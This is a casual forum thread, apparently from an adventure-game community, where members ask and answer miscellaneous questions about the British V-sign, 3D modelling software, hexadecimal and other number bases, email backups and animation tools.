Quote from: Ryan Timothy on Wed 14/10/2009 16:45:59
QUESTION and story: I walked into the office at my work and gave the secretary the peace sign as I approached her desk (I'm always bugging her :P).  She told me she believes that in England you'll get your face punched in if you have your hand turned to show your knuckles/palm while giving the peace sign, but with your hand turned around is the correct way.
Completely and utterly true! It basically means "fuck off".

The explanation to this goes quite a few years ago, in some town in England where (at least from what I've heard) they had tons of minners. The minners had accidents, as it usually happens, but in that particular area and mines they would lose the 2nd digit. So when minners would enter into a pub, and they were not wanted they would get the sign of both fingers (the inverted peace sign) and they would know they were not welcomed, since they didn't have the 2nd finger, to do the same.

alternatives offer archers in the place of miners and those who were losers lost the 2nd finger, so they wouldnt' be able to use the bow again (and they were told to "fuck off" in the pub, or elsewhere...)
Title: Re: Ask something - We can help.
Post by: monkey0506 on Thu 15/10/2009 02:01:02
This can actually be seen in movies like Shaun of the Dead and Hot Fuzz (at least one of the two has it anyway) and is accompanied (in the movie) with a comical raspberry (http://en.wikipedia.org/wiki/Blowing_a_raspberry).

IIRC Dave Gilbert made a comment on this when he gave the "reverse" peace sign during a Mittens Photo Shoot and later found out he was giving everyone the British equivalent of flipping the bird (http://en.wikipedia.org/wiki/Flipping_the_bird). :D
Title: Re: Ask something - We can help.
Post by: Kweepa on Thu 15/10/2009 02:24:56
Good:
(http://i600.photobucket.com/albums/tt82/skinnymojo69/2-0000000.jpg)

Bad:
(http://2.bp.blogspot.com/_GNJ954SzZVs/SJ-WCZu_RII/AAAAAAAABbM/YqMFoXr7rRc/s400/Vyvyan+Young+Ones.jpg)
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Thu 15/10/2009 04:22:49
Thanks Steve and Monkey.  You just saved me from a confusion that never got spotted, probably due to my confusing wording.
I would have been making an incorrect mental note to be showing a peace sign the wrong way.
Title: Re: Ask something - We can help.
Post by: Scarab on Thu 15/10/2009 10:02:08
Quote from: Nikolas on Wed 14/10/2009 18:00:25
alternatives offer archers in the place of miners and those who were losers lost the 2nd finger, so they wouldnt' be able to use the bow again (and they were told to "fuck off" in the pub, or elsewhere...)

I always thought that it was because during the wars between medieval England and France, the longbow was the most powerful weapon in the British arsenal (it was too expensive and difficult to employ for the French to use). As it took such a mighty toll on the French soldiers, the French generals decided to put out a bounty on the index and middle finger of the English soldiers. It then became a taunt of the Brits to the French... a bit of a "come and get 'em", and then it just evolved over time to become the British eqivalent of the middle finger that exists today.
Title: Re: Ask something - We can help.
Post by: arj0n on Thu 15/10/2009 13:59:33
@Timothy:
V-sign nowaday usage :

Back of the hand facing the signer:
Palm facing the signer:
Used with other movement:
@Scarab
Your right:
The legend [which can be true] of the V-sign:
The story claims that the French claimed that they would cut off the arrow-shooting fingers of all the English and Welsh longbowmen after they had won the battle at Agincourt. But the longbowmen came out victorious and showed off their two fingers, still intact [taunt]...

V
Title: Re: Ask something - We can help.
Post by: Stupot on Thu 15/10/2009 14:15:21
I love how in Japan they automatically pull a V-sign whenever a camera is pointed at them... especially the girls. The Koreans do too. However, having the palm facing the signer or the recipient seems to be largely interchangeable (correct me if I'm wrong).

I have many photos of my lovely Korean friend, who wouldn't hurt a fly, seemingly giving me the two-fingered salute.  Or maybe she just hates me:-(
Title: Re: Ask something - We can help.
Post by: Wesray on Thu 15/10/2009 15:32:15
Jep, Chinese girls seem to love doing the V-sign on photos too. Palms outside, from my experience.
Title: Re: Ask something - We can help.
Post by: Gilbert on Thu 15/10/2009 17:00:03
Really?
Title: Re: Ask something - We can help.
Post by: Wesray on Thu 15/10/2009 19:24:30
They do it on almost all my pictures.

(http://www.pictureupload.de/originals/pictures/151009202308_vv.JPG)

I figured it's a local custom, but it seems popular all over Asia.
Title: Re: Ask something - We can help.
Post by: Gilbert on Fri 16/10/2009 02:42:15
I don't see that much in my everyday life. :P
Title: Re: Ask something - We can help.
Post by: Andail on Fri 16/10/2009 09:38:27
I've also heard they eat magpies alive.
Title: Re: Ask something - We can help.
Post by: Vince Twelve on Fri 16/10/2009 16:02:39
It starts when they're really young and just becomes the natural thing to do in a picture.  Here's my daughter at less-than-two-ish:

(http://farm3.static.flickr.com/2418/1771962179_c023b7931a.jpg)

There was a period where before taking a picture, she would try really hard to make peace signs, but be unable, so we have lots of pictures of not-quite-peace-signs.

(http://farm3.static.flickr.com/2265/1772924680_a7f20a73fb.jpg)

(http://farm3.static.flickr.com/2103/1849996642_ac661579fa.jpg)

(http://farm4.static.flickr.com/3258/2352039412_65e7b17bb6.jpg)

Eventually, she gets there.

(http://farm3.static.flickr.com/2119/2352038442_e1ff32ab59.jpg)

And when you live there long enough... you just can't help it...

(http://farm3.static.flickr.com/2267/2454457060_515d0183d1.jpg)

Edit: Sorry, I jump at any chance to show off how cute my kid is. :P
Title: Re: Ask something - We can help.
Post by: Babar on Fri 16/10/2009 17:01:16
I propose we start a movement to do the "Palm Out" or "All fingers towards the camera" sign, like the one your daughter is doing in some of those pictures. It is very close to the Pakistani gesture for "I curse you", but it could still work! It is like a magician casting a spell :D.
Title: Re: Ask something - We can help.
Post by: monkey0506 on Fri 16/10/2009 18:35:03
Quote from: Vince Twelve on Fri 16/10/2009 16:02:39There was a period where before taking a picture, she would try really hard to make peace signs, but be unable, so we have lots of pictures of not-quite-peace-signs.

(http://farm3.static.flickr.com/2265/1772924680_a7f20a73fb.jpg)

Your "cute" daughter is trying to shoot force lightning at everyone!

Honestly Vince, what've you been teaching that kid? You're training her in the Dark Side of the Force. ADMIT IT!

And then, after admitting it, could you give me a few pointers? Y'know I've been trying to explain to my sister that "Star Wars: Knights of the Old Republic" is just a formality and the true title of the game is "Star Wars: Go to the Dark Side"... ::)

Edit: Also she is flying (levitating). :o

Edit also: I used a simple photographic enhancement program to determine that the original photo was clearly modified. You can't hide anything from me Vince:

(http://img73.imageshack.us/img73/1461/vinceyourchildisthenext.png)
Title: Re: Ask something - We can help.
Post by: RickJ on Sat 17/10/2009 00:58:56
Hehe, I can use a bit of help.  Someone make a couple cool blue cup icons recently and posted them, i believe in the Chat forum but I'll be dammed if I can find them now.   I searched for icon, ags icon, cup, etc  but came up negative.   Perhaps some one with a better memory can help me locate them.  Thanks..   :=
Title: Re: Ask something - We can help.
Post by: Domino on Sat 17/10/2009 01:17:43
http://www.adventuregamestudio.co.uk/yabb/index.php?topic=38987.0

Is this it?
Title: Re: Ask something - We can help.
Post by: RickJ on Sat 17/10/2009 03:41:53
Yea , that's it alright.  :-[  Wouldn't you know it I was searching for"Icon" instead of  "Logo"    :=  
Title: Re: Ask something - We can help.
Post by: Vince Twelve on Sat 17/10/2009 06:57:42
Monkey, you're awesome!  That just cracked up my wife and daughter!
Title: Re: Ask something - We can help.
Post by: ThreeOhFour on Sat 17/10/2009 07:25:38
QuoteEdit: Also she is flying (levitating).  :o

(http://img96.imageshack.us/img96/5276/floaty.png)

Well... all the cool kids were doing photoshops  :-[....

I blame boredom  8).
Title: Re: Ask something - We can help.
Post by: Shane 'ProgZmax' Stevens on Sat 17/10/2009 09:09:16
It's Yodette!

Judge me by my pink flowery hat, do you?  AS WELL YOU SHOULD NOT, for the force is my ally, and a powerful ally it is tee-hee!
Title: Re: Ask something - We can help.
Post by: DrSlash on Wed 21/10/2009 16:31:46
I have a little question: when I've been adding my game to this website I have forgotten to enter game password. Now I'm not able to edit game information.  :'( What should I do?  ???
Title: Re: Ask something - We can help.
Post by: Ali on Wed 21/10/2009 17:05:49
Could you ask that question in the form of a photoshopped picture of a cute child?

I'm able to edit my game without the password as long as I'm logged in to the forum - doesn't that work for you?
Title: Re: Ask something - We can help.
Post by: DrSlash on Wed 21/10/2009 17:24:06
Quote from: Ali on Wed 21/10/2009 17:05:49
I'm able to edit my game without the password as long as I'm logged in to the forum - doesn't that work for you?
It looks like no. When I press "Update" there appears  inscription which says: "Invalid password."
Title: Re: Ask something - We can help.
Post by: Ethan D on Wed 21/10/2009 19:15:29
Before you click on the link to edit your game does it show that you can leave a comment?  If it doesn't it means that it isn't registering that your logged in and there is a link at the bottom that you can click on.  This has happened to me many times.  If you CAN leave a comment and still can't edit your game then I have no idea whats wrong.

EDIT:  I looked at your profile and it doesn't list you as having any games you have worked on.  This means that you didn't list yourself as the first developer.  Only the person who is listed first on the list is able to edit it without a password.
Title: Re: Ask something - We can help.
Post by: InCreator on Wed 25/11/2009 19:32:18
Okay, a question:

Where is country border?

I know where it is on land, from sea level to plane-reachable area (airspace).
But further? Is it still same country 400km under ground? Or outside atmosphere, in space?

If it's same country under ground, inside earth, how do borders go? Do they follow sphere shape of earth and get narrow near the middle of earth where they end? Like a top of a cone? In which case, are all countries neighbors with border in the middle point (earth's center)?

And if borders extend into outer space (though I don't believe this)...  do they go for infinity? So, planets technically cross different countries all the time while passing earth? Also... so we technically own everything (except for space covered by extension of independent areas such as oceans)?

This is driving me crazy.
Title: Re: Ask something - We can help.
Post by: Crimson Wizard on Wed 25/11/2009 19:37:38
Quote from: InCreator on Wed 25/11/2009 19:32:18
Where is country border?

I know where it is on land, from sea level to plane-reachable area (airspace).
But further? Is it still same country 400km under ground? Or outside atmosphere, in space?

As for atmosphere and space, there's certainly some limit, after which country's airspace is changed by "international" space, or something.


EDIT:
Quote from: http://en.wikipedia.org/wiki/Airspace
There is no international agreement on the vertical extent of sovereign airspace (the boundary between outer spaceâ€" which is not subject to national jurisdictionâ€" and national airspace), with suggestions ranging from about 30 km (the extent of the highest aircraft and balloons) to about 160 km (the lowest extent of short-term stable orbits). The Fédération Aéronautique Internationale has established the Kármán line, at an altitude of 100 km (62.1 miles), as the boundary between the Earth's atmosphere and the outer space, while the United States considers anyone who has flown above 50 miles (80 km) to be an astronaut; indeed descending space shuttles have flown closer than 80 km over other nations, such as Canada, without requesting permission first.[1] Nonetheless both the Kármán line and the US definition are merely working benchmarks, without any real legal authority over matters of national sovereignty.
Title: Re: Ask something - We can help.
Post by: Bulbapuck on Wed 25/11/2009 22:52:35
Howdy-ho!
Quote from: DrSlash on Wed 21/10/2009 16:31:46
I have a little question: when I've been adding my game to this website I have forgotten to enter game password. Now I'm not able to edit game information.  :'( What should I do?  ???
I'm in a similar situation: I just created my first games page *here* (http://www.adventuregamestudio.co.uk/games.php?action=detail&id=1239). I misspelled the password and now I can't reproduce that error... The reason I want to change the games page is that I made another mistake in the "author" box, so now it doesn't even know that I'm the author.

Hence I can't change the page.

So what now? It sais that the admin can see the password, is Pumaman the Admin?

Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Thu 26/11/2009 08:31:27
I don't believe this question warrants it's own thread, since I imagine there are only a hand full of applications that fit my needs.  So I figured I'd ask here.

What is a VERY EASY 3D Character Modeling Program? (Free or not)
I plan on making a few characters with basic detail, nothing too extreme.  Basic shadows, and texture mapping is all I need.  I don't have a lot of 3D experience.  The only 3D programs I've really played with are: Halflife Hammer editor, Rhinoceros 3D (a little), and Google Sketch.  I've never really touched any complex shapes much beyond rectangles, cylinders, etc.

Here's an image I found with pretty much the size and simplicity of a character I hope to create:
(http://www.inet2inet.com/RegUsers/Chars/Display-Anims/05-04-Anim.gif)
And if I had to touch up the frames in Photoshop, so be it.  I pretty much just need something that I can easily create walk cycles, or action scenes with.  It more than likely won't be limited to the Human skeleton, probably some funky aliens too.

It would be really cool if there was an ability to save the camera coordinates so that all the characters are on the same viewing angle.
Also I'm not 3D stupid, just inexperienced.  If it's an easy, worthwhile program, I wouldn't mind spending the time it takes to learn it.

(It's for my super secret project--and no, I'm not making some kind of warcraft or oblivion type game, even though the image resembles them)  ;D
Title: Re: Ask something - We can help.
Post by: Anian on Thu 26/11/2009 11:28:46
Don't know about the camera thing, but I think that can be worked out with something like making a 3d rig - just some shapes put together so you know where you should put the camera and an X (or a dot) where the character will be - that way you know where to put the camera etc.

There's 3d Swift, it's a flash animator, but it's relativly easy to get to work with, though it doesn't have skeletal animation (at least I don't think the new versions still don't have it). It is in the non-free category.
There's Anim8or - this one is actually free and it uses cylinders and basic stuff like that. Haven't actually tried it but it looks okay. If you really aren't going for too much details and such, then it might be just the thing you're looking for. http://www.anim8or.com/main/index.html
And there's a bunch really beginner tutorials on their website, so it look easy to get into: http://www.anim8or.com/main/index.html
Title: Re: Ask something - We can help.
Post by: Crimson Wizard on Thu 26/11/2009 14:56:28
Allright, here is the question I don't know whom to ask...

For those who ever played Arcanum of Magick and Steamworks Obscura, you may remember that the zeppelin you're flying in the introduction is called IFS "Zephyr". So what the hell "IFS" stand for?
Title: Re: Ask something - We can help.
Post by: Anian on Thu 26/11/2009 15:17:30
Inflatable flying ship? ...just guessing.
Title: Re: Ask something - We can help.
Post by: Synthetique on Sat 28/11/2009 09:50:17
Quote from: Ryan Timothy on Thu 26/11/2009 08:31:27
I don't believe this question warrants it's own thread, since I imagine there are only a hand full of applications that fit my needs.  So I figured I'd ask here.

What is a VERY EASY 3D Character Modeling Program? (Free or not)
I plan on making a few characters with basic detail, nothing too extreme.  Basic shadows, and texture mapping is all I need.  I don't have a lot of 3D experience.  The only 3D programs I've really played with are: Halflife Hammer editor, Rhinoceros 3D (a little), and Google Sketch.  I've never really touched any complex shapes much beyond rectangles, cylinders, etc.

Try Zbrush. You can model, paint and rig to a skeleton for posing. The program can be very easy or very complex depending on what you want from it. The best thing about it imo is that the workflow is really fast and allows for my creativity to come to life without much setting up. There is a great community and lots of helpful tutorials on their site.

http://www.pixologic.com/home.php
http://www.pixologic.com/zclassroom/homeroom/
http://www.zbrushcentral.com/
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Sat 28/11/2009 23:14:48
Anian:  Anim8or seems pretty easy to use, but almost too simple. I don't think I'll be giving this one a go.

Synthetique: I don't think I've even heard of Zbrush.  It looks awesome, also quite simple to use.  I checked out every picture they had to promote the program (which there are hundreds and hundreds of images).  I'll definitely be downloading this to see if I like it or not.

Thanks.
Title: Re: Ask something - We can help.
Post by: Synthetique on Mon 30/11/2009 13:48:33
I would like to store some character files so that people can download them. It's for the contribution thread. Does anyone know a good free host?
Title: Re: Ask something - We can help.
Post by: Stupot on Mon 30/11/2009 15:50:56
My friend told me yesterday about a program he uses called Blender (http://"http://en.wikipedia.org/wiki/Blender_(software)").
It's freeware and he says he prefers it to Maya, which is used in Hollywood and costs thousands of Dollars.
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Tue 01/12/2009 06:26:48
I've heard of both Blender and Maya (and I've seen Maya in action), just haven't ever heard that Blender is better.

Anyway, I was bored today and wanted to make my first Zbrush dude.  I copied Simon's idea of a squid, the guy from the Pixologic website.  I didn't make it to copy him, I made it to experiment and learn.  And figured a squid with multiple tentacles would be the best place to start. :P

Here's my odd looking squid thing: http://www.bryvis.com/entertainment/other/agsf/first_zbrush.png
(Pretty lame, but good for a first real go at Zbrush-I'd say.  Took me an hour to make those eyeballs, and they suck! haha)

It's too bad there aren't any animation programs that you can create characters as easily as you can in Zbrush, and animate the limbs as easily as you can move Zspheres (but obviously with limb length limits).  At least I've never heard/seen of it.
Title: Re: Ask something - We can help.
Post by: Synthetique on Tue 01/12/2009 13:15:55
Heheh that squid is pretty cool. ^^
You can animate in Zbrush but it's not like in other 3d programs. There's a tutorial on the forums called something like "animating using layers". Go check that out.
Title: Re: Ask something - We can help.
Post by: on Wed 02/12/2009 15:54:29
A random question for anyone from Norway... Do you live in Sadnes? I'm just trying to prove it's a small world...af...ter-all.
Title: Re: Ask something - We can help.
Post by: Bror_Jon on Wed 02/12/2009 21:58:01
I'm not from Norway (close by though) but, why do you think they'd be sad?
Title: Re: Ask something - We can help.
Post by: Andail on Thu 03/12/2009 08:55:41
Jon, please don't tell me that was an intentional pun...
Title: Re: Ask something - We can help.
Post by: Stupot on Thu 03/12/2009 09:00:10
It's an international pun :)
Title: Re: Ask something - We can help.
Post by: InCreator on Mon 07/12/2009 15:59:28
A question:

Why do people use hexadecimal? Especially when mentioning specifics about computer memory?
I understand the usage of binary, since it's the base of nature, but hex???

Does it have some crazy benefits or it's simply so because some nerd started to do so back in 70's?
Title: Re: Ask something - We can help.
Post by: Babar on Mon 07/12/2009 16:21:55
I think it is because it is relatively easy to extrapolate the binary from a hexadecimal number, but it is much shorter. So instead of typing:

1101010100010001

I'd just say D511.

Whereas if I had said "Location 54,545", it would be understood, but harder to convert that back to binary.
Title: Re: Ask something - We can help.
Post by: Crimson Wizard on Mon 07/12/2009 17:16:15
Quote from: InCreator on Mon 07/12/2009 15:59:28
A question:

Why do people use hexadecimal? Especially when mentioning specifics about computer memory?
I understand the usage of binary, since it's the base of nature, but hex???

There are some interesting peculiarities of hex. I may not recall all of them right now, but take this example. A byte may contain an integer value from 0 to 255 inclusive. In hex it is 0 to FF. So, instead of using three digits and have a nonround number as max, you can use only 2 digits and number that looks like "round" one as max.
That may be the case some use hex to name colour hues, like 0xFF0000 is bright red (instead of 255-0-0) etc.
Futhermore, two bytes contain 0 to 65535 in decimals, but 0 to FFFF in hex. See? Round number again.
Same, four bytes contain 0 - 4294967295 in decimals and 0 to (you may guess that) FFFFFFFF in hex.

Another example is more programming-related. Hex is more convenient way to name some of the key binary values, like flags: these are values which have only single bit set as 1 and others as 0 (these are used widely for certain logical calculations).
In binary they are: 1, 10, 100, 1000, 10000, 1000000 and so forth. In hex they are 1, 2, 4, 8, 10, 20, 40, 80, 100 and so forth, but in decimal they are 1,2,4,8,16,32,64,128,256,512,1024, etc. As you may notice, hex numbers are much easier to remember than decimals.

Well, perhaps Babar explained all this simplier way :)
QuoteI think it is because it is relatively easy to extrapolate the binary from a hexadecimal number
I just wanted to show some samples.
Title: Re: Ask something - We can help.
Post by: Paper Carnival on Tue 08/12/2009 11:32:22
Nobody mentioned the reason it's so easy to convert to HEX from binary.

1011011111100011010

You simply split the binary number every four digits starting from right, then you convert each four digits to the corresponding hex number

101-1011-1111-0001-1010

5-B-F-1-A.

With minimal experience, you can instantly convert 4 binary digits to a hex number and vice-versa.
Title: Re: Ask something - We can help.
Post by: Gudforby on Tue 08/12/2009 11:56:22
Quote from: Mods on Wed 02/12/2009 15:54:29
A random question for anyone from Norway... Do you live in Sadnes? I'm just trying to prove it's a small world...af...ter-all.

I'm from Norway, but I don't think there is a town here call Sadnes.. You might think of Sandnes?

Well, there goes the sad part...

Anywho... If you mean Sandnes, I live around 20 minutes from there...
Title: Re: Ask something - We can help.
Post by: SSH on Tue 08/12/2009 12:37:30
I'm only 22 years old... in hex. That's another good reason to use it! Octal was used in the past for similar reasons, but doesn't fit quite so neatly for multiples of 4 binary digits, such as most computer addresses. However, its great for UNIX file permissions:

chmod 754 /somedir

Means: 111 101 100 and since each set of three is Read/Write/eXecute and then the sets are Owner, Group, World it concisely expresses a 9-bit value



Title: Re: Ask something - We can help.
Post by: Gilbert on Tue 08/12/2009 14:13:33
I've never looked up for details, so the following are just what I understand from my experience:

I think the adoption of hexadecimal is just natural (obviously much more natural and mathematical than the denary system humans use most of the time, which is familiar to us mainly only because we were born with 10 fingers).

The smallest integral base for displaying numbers is 2 obviously, so binary representation of numbers is the basis of all basis, and since digital circuitries are just collections of on/off(logic) "switches" this is of high importance.

Of course, numbers displayed in binary are clumsy and inconvenient most of the time (except some cases like displaying flags), so we usually show numbers in certain bases that are easily converted to and from binary. In general, if the base is of the form 2^n the conversions are super easy, so leaving us with 2, 4, 8, 16, 32, 64, 128, 256, ... as possible bases.

Bases of 2 and 4 are obviously too clumsy for everyday use, and numbers displayed in base 32 and onward would require a large set of numerals (e.g. under base 32 you need 32 distinct symbols to represent a digit) and are inconvenient, so octal and hexadecimal representations of numbers are optimal.

Both octal numbers and hexadecimal numbers are widely used, but in many cases hexadecimal is preferred, because:
1. It takes 4 bits to represent a hexadecimal digit (16 = 2^4). In general it's more organised if the number of bits in a group is also an even power of 2 (4 = 2^2), compared to octal numbers where each digit composes of the odd 3 bits.
2. While for octal numbers you only need 8 distinct symbols in the set of numerals to display any number (i.e. we can just directly use 0-7 from the denary digits), you need 16 symbols in hexadecimal (most of the time we use the 0-9 denary digits together with the six Roman letters A-F). However, hexadecimal numbers are more compact that we never need to use more places to represent a number compared to it represented with our everyday denary system.
3. This is an extension of 2, as humans use denary numbers in their everyday life, it may be sometimes convenient (for our eyes) to just use a hexadecimal digit to display a denary digit, e.g. we use the hexadecimal number $99 to represent the denary 99. In fact, the 6502 family of CPUs had a BCD mode that, when set, would treat each byte as a denary 2-digit number and could do (only limited) decimal arithmetic directly. Few people really used this mode though (and when Nintendo and Ricoh cloned the 6502 core for their Famicom they even removed this ability, though from what I've heard this was mainly due to patents). This is not possible with octal numbers, as each digit can only be 0-7, which is not enough to represent a denary number directly.
Title: Re: Ask something - We can help.
Post by: InCreator on Wed 09/12/2009 11:21:17
Ugh. This makes me dizzy.

But even while I don't see how using numbers that result in answer to a calculation instead of simple units (like hexadecimal F means base of something blah blah complex but decimal 10 means simply 10 apples or coins) useful in "real life", I think I understand how it's useful on paper (or rather - as digital data)... but, we don't use hexadecimal in everyday life anyway.

Still, I will die not fully understanding hexadecimal.
Title: Re: Ask something - We can help.
Post by: on Wed 09/12/2009 18:44:46
Quote from: InCreator on Wed 09/12/2009 11:21:17
Ugh. This makes me dizzy.

But even while I don't see how using numbers that result in answer to a calculation instead of simple units (like hexadecimal F means base of something blah blah complex but decimal 10 means simply 10 apples or coins) useful in "real life", I think I understand how it's useful on paper (or rather - as digital data)... but, we don't use hexadecimal in everyday life anyway.

Still, I will die not fully understanding hexadecimal.

Just one quick thought on the base thing: 25 minutes + 40 minutes are... 1 hour and 5 minutes  :P

Bases different than 10 (or even something more complex, like day/hour/minute thing) are really just a matter of being used to.

Title: Re: Ask something - We can help.
Post by: Scarab on Wed 09/12/2009 19:32:45
Quote from: bicilotti on Wed 09/12/2009 18:44:46

Just one quick thought on the base thing: 25 minutes + 40 minutes are... 1 hour and 5 minutes  :P

Bases different than 10 (or even something more complex, like day/hour/minute thing) are really just a matter of being used to.


Yeah, I always wondered what it would be like if we used a base-12 counting system. Fractions like 1/3, 1/4, 1/6 and 1/9 would become really nice, clean numbers and mental maths would become just that little bit easier.

Also, for us to develop this system naturally would likely mean six fingers on each hand, which would be interesting... ;D
Title: Re: Ask something - We can help.
Post by: on Wed 09/12/2009 19:53:56
Quote
Yeah, I always wondered what it would be like if we used a base-12 counting system. Fractions like 1/3, 1/4, 1/6 and 1/9 would become really nice, clean numbers and mental maths would become just that little bit easier.

Also, for us to develop this system naturally would likely mean six fingers on each hand, which would be interesting... ;D

Duodecimal(sp) is pretty handy when it comes to divisions or plain quotients, since it has many divisors. Many "regional" units of measure use it for this simplicity (1 imperial foot = 12 inches, for example, or the italian dozzina), before decimalisation.
If modern and cheap calculating machines weren't available, I would be for sure an advocate of this numeral system as the main one.

Getting back on topic, here's the wiki page on the Suanpan (http://en.wikipedia.org/wiki/Suanpan). It's a very simple and elegant eastern abacus: when I was I kid I learned to use it for decimal calculations, but it can be used for hexadecimal calcs too.
It seems that chinese weighting units were hexadecimal at the time, so their abacus was built that way.
I still don't know why they chose hex over duodecimal, since the latter has a 3 divisor as a bonus.
Title: Re: Ask something - We can help.
Post by: InCreator on Thu 10/12/2009 07:43:27
Quote from: bicilotti on Wed 09/12/2009 18:44:46
Just one quick thought on the base thing: 25 minutes + 40 minutes are... 1 hour and 5 minutes  :P

Bases different than 10 (or even something more complex, like day/hour/minute thing) are really just a matter of being used to.

Matter of being used to - yes
Comfortable - no
Title: Re: Ask something - We can help.
Post by: Gilbert on Thu 10/12/2009 13:43:36
It's because we're used to count in group in 10 when we're small (and our commonly used symbols). If we were born in a place that counting is done in another base it wouldn't be uncomfortable at all.
Title: Re: Ask something - We can help.
Post by: Andail on Thu 10/12/2009 13:59:56
Many languages have up to twelve "original" names for numbers, and then start combining the name parts for 13 and upwards, which may indicate some sort of early idea of implementing a base 12 system.
If it wasn't for this fact, the "teens" would start at eleven...
Title: Re: Ask something - We can help.
Post by: Jim Reed on Thu 10/12/2009 14:14:36
Wiki qoute:

"Most computers manipulate binary data, but it is difficult for humans to work with the large number of digits for even a relatively small binary number. Although most humans are familiar with the base 10 system, it is much easier to map binary to hexadecimal than to decimal because each hexadecimal digit maps to a whole number of bits."

I'd say this is why we use it, but it's just my opinion.
Also, Croatian doesn't have "original" names like eleven and twelve, but use 'teens for those numers instead. But, Croatian isn't many languages anyway =P.

Also, I'm looking for a very old Spectrum game, which revolves around two ships (a pirate and a french one) having a close combat fight. I can remember that the game is about two captains commanding their sailors across a net hung between theese two ships. The game is turn-based. If anyone can help me with this I'd be much obliged.
Title: Re: Ask something - We can help.
Post by: on Mon 21/12/2009 15:08:58
Yo! Sorry, a slightly mundane question:

What's the best way to back up all your Outlook emails?

I've had some PC issues...since I've ever had a PC...and I keep losing all of them :(

I feel more guilty now than ever because there were quite a few un-answered emails and I'm not sure if I will ever see those old emails again. If anyone has personal experience of this and can advise me on good practices to back up emails, whether I can retrieve certain old data from a server or what not, let me know! And many apologies if you emailed me recently. You'll never get a reply :( :P
Title: Re: Ask something - We can help.
Post by: InCreator on Wed 23/12/2009 16:48:21
huh?

http://email.about.com/od/outlooktips/qt/Back_Up_or_Copy_Outlook_Data.htm

Also, fresh installs of Outlook tend to delete mail from server whenever received. I had quite a trouble with this: Checking work mail at home, seeing that I'd been sent some design drawings - and next day at work, there's no mail, no drawings, so I had to go back home and retrieve drawings!

There's a check button to "keep messages in server" but it's buried under loads and loads of "settings" and "advanced" window trees.
Shame on microsoft making this so retarded.

Question!

I see GIF files. 256-color, animated, from 1987.

It's 2010 soon. Where's a modern animated image format -- with 24-bit color and alpha channel?
Is there one? I mean, something usable, readable by any browser, etc?

If not, why???...!
Title: Re: Ask something - We can help.
Post by: Crimson Wizard on Wed 23/12/2009 17:23:13
Quote from: InCreator on Wed 23/12/2009 16:48:21
Question!

I see GIF files. 256-color, animated, from 1987.

It's 2010 soon. Where's a modern animated image format -- with 24-bit color and alpha channel?
Is there one? I mean, something usable, readable by any browser, etc?
Umm... flash video?  ;D
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Wed 23/12/2009 17:34:40
MNG is the format youre looking for.. though it has yet to gain widespread use.

As an aside GIF images are capable of full colour.. They are not limited to 256 colours.
Title: Re: Ask something - We can help.
Post by: InCreator on Wed 23/12/2009 21:24:16
Ok, thanks. I guess it's quite useless as wikipedia article describes it's failure to become important and lack of support. I was actually just wondering, why don't we still have something that's 10+ years late.

More serious question!

Is there something that creates connected vectors with endpoints, and I can link vectors-points and assign images to them so I have something to create animations simply?

I mean something exactly like SSH's walkcycle generator, but with more options and power?
Flash... feels a bit too complicated for such little task.
Title: Re: Ask something - We can help.
Post by: Babar on Wed 23/12/2009 21:38:09
You could try MOHO.

http://www.lostmarble.com/

Ohwell...it appears it is called Anime Studio now. Should still be a breeze to work with, though. I still have an ancient copy of it.

It costs moneys, but it has a free evaluation (which I think leaves a watermark :( )
Title: Re: Ask something - We can help.
Post by: InCreator on Wed 23/12/2009 22:06:36
Pity it has most anal way to get a trial, ever  :(

Edit: This program is absolutely awesome. thanks!
Title: Re: Ask something - We can help.
Post by: Bulbapuck on Sun 27/12/2009 16:03:35
*Solved and removed due to taking up all that space :P*
Title: Re: Ask something - We can help.
Post by: Dualnames on Sun 27/12/2009 16:25:28
Quote from: InCreator on Wed 23/12/2009 21:24:16
Ok, thanks. I guess it's quite useless as wikipedia article describes it's failure to become important and lack of support. I was actually just wondering, why don't we still have something that's 10+ years late.

More serious question!

Is there something that creates connected vectors with endpoints, and I can link vectors-points and assign images to them so I have something to create animations simply?

I mean something exactly like SSH's walkcycle generator, but with more options and power?
Flash... feels a bit too complicated for such little task.

Steve and SSH, worked on something like that. Check the Thread about Walkcycle Generator there's a download link on page 5 if I recall.

EDIT:

Here..
http://www.adventuregamestudio.co.uk/yabb/index.php?topic=26501.msg421043#msg421043
Title: Re: Ask something - We can help.
Post by: Bulbapuck on Sun 27/12/2009 18:49:19
I'm sorry about double posting here... But the reason is that I'm at school and I can't go home until I finish this. And I'm getting hungry...

I added "pack();" at the end of the frame's constructor. Now the size isn't zero, but it's very small. Almost as if my "setSize" in the panel's constructor is being ignored.

Help!

EDIT: This is solved, need no help.
Title: Re: Ask something - We can help.
Post by: Oliwerko on Fri 01/01/2010 20:26:26
Could anyone possibly tell me what keyboard synth is played in Phil Collins's "I don't care anymore" ?
Title: Re: Ask something - We can help.
Post by: Stupot on Fri 01/01/2010 23:39:24
I'm not sure which bits are done on a keyboard and which aren't, but according to Wikipedia at least some of the synthesised parts are played on Moog Taurus Bass Pedals, using his hands...

Maybe not quite the info you're after, but interesting anyway :)
Title: Re: Ask something - We can help.
Post by: Oliwerko on Sat 02/01/2010 09:56:18
I knew someone would mention it  ;D

Yeah, I know of that, that's particulary interesting providing it's a pedal synthesizer. That piece of info was quite easy to find, now only the keyboard sound in the beginning is missing.
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Sat 09/01/2010 23:43:17
A few months ago, perhaps longer, someone posted a 3D blue mug/cup for anyone in AGS to use.  Where did that go?  I can't seem to find it in the search.
Title: Re: Ask something - We can help.
Post by: Domino on Sat 09/01/2010 23:54:21
http://www.adventuregamestudio.co.uk/yabb/index.php?topic=36356.msg514714#msg514714

Is this what you wanted? Sorry, if it wasn't.

Shawn
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Sat 09/01/2010 23:59:38
lmao Didn't know it was already asked in this great thread.  Thanks Domino. ;D
Title: Re: Ask something - We can help.
Post by: Crimson Wizard on Thu 14/01/2010 20:10:51
For those who ever worked in the office with cubicles (cubicle farm, I believe?).
Is it safe for not-so weightly person to lean over cubicle wall and peek into another guy's computer? Assuming this person has to grasp on cubicle wall.

I am planning a small scene in a game where girl does this while talking with the guy. How realistic is that.
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Thu 14/01/2010 20:21:13
